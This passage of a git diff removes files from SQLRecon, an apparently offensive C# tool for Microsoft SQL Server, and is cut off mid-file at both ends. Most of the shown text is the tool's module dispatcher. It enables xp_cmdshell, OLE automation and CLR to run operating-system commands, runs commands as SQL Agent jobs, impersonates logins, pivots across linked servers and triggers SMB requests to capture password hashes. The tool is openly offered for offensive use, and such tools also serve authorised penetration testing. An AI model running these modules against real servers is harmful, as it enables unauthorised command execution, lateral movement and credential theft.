args.Length; i = i + 2) - { - ret.Add(args[i].Substring(1, args[i].Length - 1).ToLower(), args[i + 1]); - - } - } - - return ret; - } - catch (ArgumentException) - { - Console.WriteLine(""); - Console.WriteLine("\n[!] You specified duplicate switches. Check your command again.\n"); - return null; - } - } // end ParseTheArguments - } -} diff --git a/SQLRecon/SQLRecon/Properties/AssemblyInfo.cs b/SQLRecon/SQLRecon/Properties/AssemblyInfo.cs deleted file mode 100644 index ae56127..0000000 --- a/SQLRecon/SQLRecon/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("SQLRecon")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("SQLRecon")] -[assembly: AssemblyCopyright("Copyright © 2023")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("612c7c82-d501-417a-b8db-73204fdfda06")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("2.2.2.0")] -[assembly: AssemblyFileVersion("2.2.2.0")] diff --git a/SQLRecon/SQLRecon/Properties/app.manifest b/SQLRecon/SQLRecon/Properties/app.manifest deleted file mode 100644 index b55972c..0000000 --- a/SQLRecon/SQLRecon/Properties/app.manifest +++ /dev/null @@ -1,73 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/SQLRecon/SQLRecon/SQLRecon.csproj b/SQLRecon/SQLRecon/SQLRecon.csproj deleted file mode 100644 index f7f584f..0000000 --- a/SQLRecon/SQLRecon/SQLRecon.csproj +++ /dev/null @@ -1,142 +0,0 @@ - - - - - Debug - AnyCPU - {612C7C82-D501-417A-B8DB-73204FDFDA06} - Exe - SQLRecon - SQLRecon - v4.7.2 - 512 - true - true - false - publish\ - true - Disk - false - Foreground - 7 - Days - false - false - true - 1 - 1.0.0.%2a - false - true - true - 10 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - true - bin\x64\Debug\ - DEBUG;TRACE - full - x64 - 9.0 - prompt - true - - - bin\x64\Release\ - TRACE - true - pdbonly - x64 - 9.0 - prompt - true - - - BDE9B59055710A99256305A2E2F7B5ECD141C61F - - - SQLRecon_TemporaryKey.pfx - - - false - - - false - - - LocalIntranet - - - Properties\app.manifest - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - False - Microsoft .NET Framework 4.7.2 %28x86 and x64%29 - true - - - False - .NET Framework 3.5 SP1 - false - - - - diff --git a/SQLRecon/SQLRecon/authentication/ArgumentLogic.cs b/SQLRecon/SQLRecon/authentication/ArgumentLogic.cs deleted file mode 100644 index fccf6d4..0000000 --- a/SQLRecon/SQLRecon/authentication/ArgumentLogic.cs +++ /dev/null @@ -1,1192 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Data.SqlClient; -using System.DirectoryServices.ActiveDirectory; -using System.Linq; -using SQLRecon.Modules; - -namespace SQLRecon.Auth -{ - public class ArgumentLogic - { - //variables used for command line arguments and general program execution - private static SqlConnection con = null; - private static String authType = ""; - private static String sqlServer = ""; - private static String port = "1433"; - private static String database = "master"; - private static String domain = ""; - private static String user = ""; - private static String pass = ""; - private static String module = ""; - private static String option = ""; - private static String linkedSqlServer = ""; - private static String impersonate = ""; - private static String function = ""; - - public void AuthenticationType(Dictionary argDict) - { - // check for domain enumeration module first, as it does not require auth - if (argDict.ContainsKey("e")) - { - if (argDict["e"].Equals("domain", StringComparison.OrdinalIgnoreCase)) - { - if (argDict.ContainsKey("d")) - { - domain = argDict["d"]; - } - - DomainSPNs.GetMSSQLSPNs(domain); - - // go no further - return; - } - } - - // if authentication type is not given, display help and return - if (!argDict.ContainsKey("a")) - { - Console.WriteLine("\n[!] ERROR: Must supply an authentication type (-a Windows, -a Local or -a Azure)"); - return; - } - - // if the authentication type is Windows, make sure that sql server, database and module has been set - if (argDict["a"].ToLower().Equals("windows") && argDict.ContainsKey("s") && argDict.ContainsKey("m")) - { - authType = argDict["a"].ToLower(); - sqlServer = argDict["s"].ToLower(); - - // optional arg for database - if (argDict.ContainsKey("d")) - { - database = argDict["d"].ToLower(); - } - - // optional argument for port, defaults to 1433 - if (argDict.ContainsKey("r")) - { - port = argDict["r"]; - } - - WindowsAuth WindowsAuth = new WindowsAuth(); - con = WindowsAuth.Send(sqlServer + "," + port, database); - EvaluateTheArguments(argDict); - } - else if (argDict["a"].ToLower().Equals("windows")) - { - Console.WriteLine("\n[!] ERROR: Must supply a SQL server (-s) and module (-m)."); - return; - } - - /* if authentication type is local, make sure that: - - the SQL server - - username - - and password has been given, otherwise display help and return - */ - if (argDict["a"].ToLower().Equals("local") && argDict.ContainsKey("s") && argDict.ContainsKey("u") && argDict.ContainsKey("p") && argDict.ContainsKey("m")) - { - authType = argDict["a"].ToLower(); - sqlServer = argDict["s"].ToLower(); - user = argDict["u"]; - pass = argDict["p"]; - - // optional arg for database - if (argDict.ContainsKey("d")) - { - database = argDict["d"].ToLower(); - } - - // optional argument for port, defaults to 1433 - if (argDict.ContainsKey("r")) - { - port = argDict["r"]; - } - - LocalAuth LocalAuth = new LocalAuth(); - con = LocalAuth.Send(sqlServer + "," + port, database, user, pass); - EvaluateTheArguments(argDict); - } - else if (argDict["a"].ToLower().Equals("local")) - { - Console.WriteLine("\n[!] ERROR: Must supply a SQL server (-s), username (-u), password (-p) and module (-m)"); - return; - } - - /* if authentication type is azure, make sure that: - - the SQL server - - database - - username - - domain - - and password has been given, otherwise display help and return - */ - if (argDict["a"].ToLower().Equals("azure") && argDict.ContainsKey("s") && argDict.ContainsKey("r") && argDict.ContainsKey("u") && argDict.ContainsKey("p") && argDict.ContainsKey("m")) - { - if (!argDict["r"].Contains(".")) - { - Console.WriteLine("\n[!] ERROR: Domain (-r) must be the fully qualified domain name (domain.com)"); - return; - } - else - { - authType = argDict["a"].ToLower(); - sqlServer = argDict["s"].ToLower(); - domain = argDict["r"]; - user = argDict["u"]; - pass = argDict["p"]; - - // optional arg for database - if (argDict.ContainsKey("d")) - { - database = argDict["d"].ToLower(); - } - - AzureAuth AzureAuth = new AzureAuth(); - con = AzureAuth.Send(sqlServer, database, domain, user, pass); - EvaluateTheArguments(argDict); - } - } - else if (argDict["a"].ToLower().Equals("azure")) - { - Console.WriteLine("\n[!] ERROR: Must supply a SQL server (-s), domain (-r), username (-u), password (-p) and module (-m)"); - return; - } - } - - // EvaluateTheArguments - public static void EvaluateTheArguments(Dictionary argDict) - { - // First check to see if the connection string is null - if (con == null) - { - return; - } - - // ############################################## - // ###### Standard Single SQL Server Logic ###### - // ############################################## - // if the module type is query, then set the module to query and set option to the actual sql query - if (argDict["m"].ToLower().Equals("query") && !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a query (-o)"); - module = argDict["m"].ToLower(); - return; - } - else if (argDict["m"].ToLower().Equals("tables")) - { - if (!argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a database on the SQL server (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - } - } - else if (argDict["m"].ToLower().Equals("smb") && !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a SMB path (-o)"); - module = argDict["m"].ToLower(); - return; - } - else if (argDict["m"].ToLower().Equals("xpcmd") && !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a command (-o)"); - module = argDict["m"].ToLower(); - return; - } - else if (argDict["m"].ToLower().Equals("olecmd") && !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a command (-o)"); - module = argDict["m"].ToLower(); - return; - } - else if (argDict["m"].ToLower().Equals("agentcmd") && !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a command (-o)"); - module = argDict["m"].ToLower(); - return; - } - else if (argDict["m"].ToLower().Equals("search") && !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a keyword (-o)"); - module = argDict["m"].ToLower(); - return; - } - else if (argDict["m"].ToLower().Equals("clr")) - { - if (!argDict.ContainsKey("o") || !argDict.ContainsKey("f")) - { - Console.WriteLine("\n[!] ERROR: Must supply path to DLL (-o) and function name (-f)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - function = argDict["f"]; - } - } - else if (argDict.ContainsKey("o")) - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - } - else - { - module = argDict["m"].ToLower(); - } - - // ##################################### - // ###### Linked SQL Server Logic ###### - // ##################################### - // if the module type is lquery, then set the linkedSqlServer, set the module to lquery and set option to the actual sql query - if (argDict["m"].ToLower().Equals("lquery")) - { - if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) and query (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("ltables")) - { - if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) and database on the linked SQL server (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lsmb")) - { - if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) and SMB path (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lxpcmd")) - { - if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) and command (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lolecmd")) - { - if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) and command (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lenablerpc")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) you want to enable RPC on"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("ldisablerpc")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) you want to disable RPC on"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("ldatabases")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lwhoami")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lusers")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lroles")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lenablexp")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("ldisablexp")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lenableole")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("ldisableole")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lenableclr")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("ldisableclr")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lclr")) - { - if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o") || !argDict.ContainsKey("f")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l), path to DLL (-o) and function name (-f)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - function = argDict["f"]; - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lagentstatus")) - { - if (!argDict.ContainsKey("l")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - linkedSqlServer = argDict["l"]; - } - } - else if (argDict["m"].ToLower().Equals("lagentcmd")) - { - if (!argDict.ContainsKey("l") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a linked SQL server (-l) and command (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - linkedSqlServer = argDict["l"]; - } - } - else - { - module = argDict["m"].ToLower(); - } - - // ############################################ - // ###### Impersonation SQL Server Logic ###### - // ############################################ - // if the module type is impersonate, then set the sqlServer, set the module to impersonate and set option to the actual sql query - if (argDict["m"].ToLower().Equals("iquery")) - { - if (!argDict.ContainsKey("i") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i) and query (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("ixpcmd")) - { - if (!argDict.ContainsKey("i") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i) and command (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("iwhoami")) - { - if (!argDict.ContainsKey("i")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("iusers")) - { - if (!argDict.ContainsKey("i")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("ienablexp")) - { - if (!argDict.ContainsKey("i")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("idisablexp")) - { - if (!argDict.ContainsKey("i")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("iolecmd")) - { - if (!argDict.ContainsKey("i") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i) and command (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("iagentcmd")) - { - if (!argDict.ContainsKey("i") || !argDict.ContainsKey("o")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i) and command (-o)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("iclr")) - { - if (!argDict.ContainsKey("i") || !argDict.ContainsKey("o") || !argDict.ContainsKey("f")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i), path to DLL (-o) and function name (-f)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - option = argDict["o"]; - function = argDict["f"]; - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("ienableole")) - { - if (!argDict.ContainsKey("i")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("idisableole")) - { - if (!argDict.ContainsKey("i")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("ienableclr")) - { - if (!argDict.ContainsKey("i")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("idisableclr")) - { - if (!argDict.ContainsKey("i")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - impersonate = argDict["i"]; - } - } - else if (argDict["m"].ToLower().Equals("iagentstatus")) - { - if (!argDict.ContainsKey("i")) - { - Console.WriteLine("\n[!] ERROR: Must supply a user to impersonate (-i)"); - module = argDict["m"].ToLower(); - return; - } - else - { - module = argDict["m"].ToLower(); - impersonate = argDict["i"]; - } - } - else - { - module = argDict["m"].ToLower(); - } - - // this is effectively a huge module switch - - // ########################################## - // ########## Standard SQL Modules ########## - // ########################################## - - SQLQuery sqlQuery = new SQLQuery(); - - // info - if (module.Equals("info")) - { - var info = new SQLServerInfo(con); - info.GetAllSQLServerInfo(); - info.PrintInfo(); - } - // whoami - else if (module.Equals("whoami")) - { - Console.Out.WriteLine("\n[+] Logged in as: " + sqlQuery.ExecuteQuery(con, "SELECT SYSTEM_USER;")); - Console.Out.WriteLine("\n[+] Mapped to the user: " + sqlQuery.ExecuteQuery(con, "SELECT USER_NAME(); ")); - - Console.Out.WriteLine("\n[+] Roles: "); - - var roles = new Roles(); - - // this sql command can be run by low privilege users and extracts all of the observable roles which are present in the current database - // "select name from sys.database_principals where type = 'R'" also works - string getRoles = sqlQuery.ExecuteCustomQuery(con, "select [name] from sysusers where issqlrole = 1;").TrimStart('\n').Replace(" |", ""); - - // get rid of the first two elements, which will be "name" and "-------" - string[] rolesArr = getRoles.Split('\n').Skip(2).ToArray(); - - // these are the default MS SQL database roles - string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" }; - - string[] combinedRoles = rolesArr.Concat(defaultRoles).ToArray(); - - // test to see if the current principal is a member of any roles - foreach (var item in combinedRoles) - { - roles.CheckServerRole(con, item.Trim(), true); - } - - } - // users - else if (module.Equals("users")) - { - Console.Out.WriteLine("\n[+] Users in the " + database + " database on " + sqlServer + ":" + sqlQuery.ExecuteCustomQuery(con, "select name as username, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type from sys.database_principals where type not in ('A', 'R', 'X') and sid is not null order by username;")); - } - // databases - else if (module.Equals("databases")) - { - Console.Out.WriteLine("\n[+] Databases in " + sqlServer + ":" + sqlQuery.ExecuteCustomQuery(con, "SELECT dbid, name, crdate, filename FROM master.dbo.sysdatabases;")); - } - // tables - else if (module.Equals("tables")) - { - Console.Out.WriteLine("\n[+] Tables in " + option + ":" + sqlQuery.ExecuteCustomQuery(con, "select * from " + option + ".INFORMATION_SCHEMA.TABLES;")); - } - // query - else if (module.Equals("query")) - { - Console.Out.WriteLine("\n[+] Executing: " + option + " on " + sqlServer + ":" + sqlQuery.ExecuteCustomQuery(con, option)); - } - // search - else if (module.Equals("search")) - { - Console.Out.WriteLine("\n[+] Searching for columns containing " + option + " in " + database + ": " + sqlQuery.ExecuteCustomQuery(con, "select table_name, column_name from INFORMATION_SCHEMA.COLUMNS where column_name like '%" + option + "%';")); - } - // smb - else if (module.Equals("smb")) - { - Console.Out.WriteLine("\n[+] Sending SMB Request to: " + option); - SMB smb = new SMB(); - smb.CaptureHash(con, option); - } - // impersonate - else if (module.Equals("impersonate")) - { - Console.Out.WriteLine("\n[+] Enumerating accounts that can be impersonated on " + sqlServer + ":"); - Impersonate impersonate = new Impersonate(); - impersonate.Check(con); - } - // enablexp - else if (module.Equals("enablexp")) - { - Console.Out.WriteLine("\n[+] Enabling xp_cmdshell on: " + sqlServer + ":"); - Configure config = new Configure(); - config.EnableDisable(con, "xp_cmdshell", "1"); - } - // disablexp - else if (module.Equals("disablexp")) - { - Console.Out.WriteLine("\n[+] Disabling xp_cmdshell on: " + sqlServer + ":"); - Configure config = new Configure(); - config.EnableDisable(con, "xp_cmdshell", "0"); - } - // xpcmd - else if (module.Equals("xpcmd")) - { - Console.Out.WriteLine("\n[+] Executing '" + option + "' on " + sqlServer + ":"); - XPCmdShell XPCmdShell = new XPCmdShell(); - XPCmdShell.StandardCommand(con, option); - } - // enableole - else if (module.Equals("enableole")) - { - Console.Out.WriteLine("\n[+] Enabling Ole Automation Procedures on: " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "Ole Automation Procedures", "1"); - } - // disableole - else if (module.Equals("disableole")) - { - Console.Out.WriteLine("\n[+] Disabling Ole Automation Procedures on: " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "Ole Automation Procedures", "0"); - } - // olecmd - else if (module.Equals("olecmd")) - { - Console.Out.WriteLine("\n[+] Executing '" + option + "' on " + sqlServer); - OLE ole = new OLE(); - ole.StandardCommand(con, option); - } - // enableclr - else if (module.Equals("enableclr")) - { - Console.Out.WriteLine("\n[+] Enabling CLR integration on: " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "clr enabled", "1"); - } - // disableclr - else if (module.Equals("disableclr")) - { - Console.Out.WriteLine("\n[+] Disabling CLR integration on: " + sqlServer); - Configure config = new Configure(); - config.EnableDisable(con, "clr enabled", "0"); - } - // clr - else if (module.Equals("clr")) - { - Console.Out.WriteLine("\n[+] Performing CLR custom assembly attack on: " + sqlServer); - CLR clr = new CLR(); - clr.Standard(con, option, function); - } - // agentstatus - else if (module.Equals("agentstatus")) - { - AgentJobs aj = new AgentJobs(); - aj.AgentStatus(con, sqlServer); - } - else if (module.Equals("agentcmd")) - { - Console.Out.WriteLine("\n[+] Executing '" + option + "' on " + sqlServer + ":"); - AgentJobs aj = new AgentJobs(); - aj.AgentCommand(con, sqlServer, option); - } - // links - else if (module.Equals("links")) - { - Console.Out.WriteLine("\n[+] Additional Links on " + sqlServer + ": " + sqlQuery.ExecuteCustomQuery(con, "SELECT name, provider, data_source FROM sys.servers WHERE is_linked = 1;")); - - } - - // ######################################## - // ########## Linked SQL Modules ########## - // ######################################## - - // ldatabases - else if (module.Equals("ldatabases")) - { - Console.Out.WriteLine("\n[+] Databases on " + linkedSqlServer + " via " + sqlServer + ": " + sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "SELECT dbid, name, crdate, filename from master.dbo.sysdatabases;")); - } - // ltables - else if (module.Equals("ltables")) - { - Console.Out.WriteLine("\n[+] Tables in database " + option + " on " + linkedSqlServer + " via " + sqlServer + ": " + sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "select * from " + option + ".INFORMATION_SCHEMA.TABLES;")); - - } - // lquery - else if (module.Equals("lquery")) - { - Console.Out.WriteLine("\n[+] Executing " + option + " on " + linkedSqlServer + " via " + sqlServer + ": " + sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, option)); - } - // lsmb - else if (module.Equals("lsmb")) - { - Console.Out.WriteLine("\n[+] Sending SMB Request from " + linkedSqlServer + " to " + option + " via " + sqlServer); - SMB smb = new SMB(); - smb.CaptureLinkedHash(con, linkedSqlServer, option); - } - // lwhoami - else if (module.Equals("lwhoami")) - { - Console.Out.WriteLine("\n[+] Determining user permissions on " + linkedSqlServer + " via " + sqlServer + ":"); - - Console.Out.WriteLine("\n[+] Logged in as: " + sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "SELECT SYSTEM_USER;")); - Console.Out.WriteLine("\n[+] Mapped to the user: " + sqlQuery.ExecuteLinkedQuery(con, linkedSqlServer, "SELECT USER_NAME(); ")); - - Console.Out.WriteLine("\n[+] Roles: "); - var roles = new Roles(); - - // this sql command can be run by low privilege users and extracts all of the observable roles which are present in the current database - // "select name from sys.database_principals where type = 'R'" also works - string getRoles = sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "select [name] from sysusers where issqlrole = 1;").TrimStart('\n').Replace(" |", ""); - - // get rid of the first two elements, which will be "name" and "-------" - string[] rolesArr = getRoles.Split('\n').Skip(2).ToArray(); - - // these are the default MS SQL database roles - string[] defaultRoles = { "sysadmin", "setupadmin", "serveradmin", "securityadmin", "processadmin", "diskadmin", "dbcreator", "bulkadmin" }; - - string[] combinedRoles = rolesArr.Concat(defaultRoles).ToArray(); - - // test to see if the current principal is a member of any roles - foreach (var item in combinedRoles) - { - roles.CheckLinkedServerRole(con, item.Trim(), linkedSqlServer, true); - } - } - // lusers - else if (module.Equals("lusers")) - { - Console.Out.WriteLine("\n[+] Users in the " + database + " database on " + linkedSqlServer + " via " + sqlServer + ": " + sqlQuery.ExecuteLinkedCustomQuery(con, linkedSqlServer, "select name as username, create_date, modify_date, type_desc as type, authentication_type_desc as authentication_type from sys.database_principals where type not in (''A'', ''R'', ''X'') and sid is not null order by username;")); - } - // lenablerpc - else if (module.Equals("lenablerpc")) - { - Console.Out.WriteLine("\n[+] Enabling RPC on: " + linkedSqlServer); - Configure config = new Configure(); - config.EnableDisableRpc(con, "1", linkedSqlServer); - } - // ldisablerpc - else if (module.Equals("ldisablerpc")) - { - Console.Out.WriteLine("\n[+] Disabling RPC on: " + linkedSqlServer); - Configure config = new Configure(); - config.EnableDisableRpc(con, "0", linkedSqlServer); - } - // lenablexp - else if (module.Equals("lenablexp")) - { - Console.Out.WriteLine("\n[+] Enabling xp_cmdshell on " + linkedSqlServer + " via " + sqlServer + ":"); - Configure config = new Configure(); - config.LinkedEnableDisable(con, "xp_cmdshell", "1", linkedSqlServer); - } - // ldisablexp - else if (module.Equals("ldisablexp")) - { - Console.Out.WriteLine("\n[+] Disabling xp_cmdshell on " + linkedSqlServer + " via " + sqlServer + ":"); - Configure config = new Configure(); - config.LinkedEnableDisable(con, "xp_cmdshell", "0", linkedSqlServer); - } - // lenableole - else if (module.Equals("lenableole")) - { - Console.Out.WriteLine("\n[+] Enabling OLE Automation Procedures on " + linkedSqlServer + " via " + sqlServer + ":"); - Configure config = new Configure(); - config.LinkedEnableDisable(con, "OLE Automation Procedures", 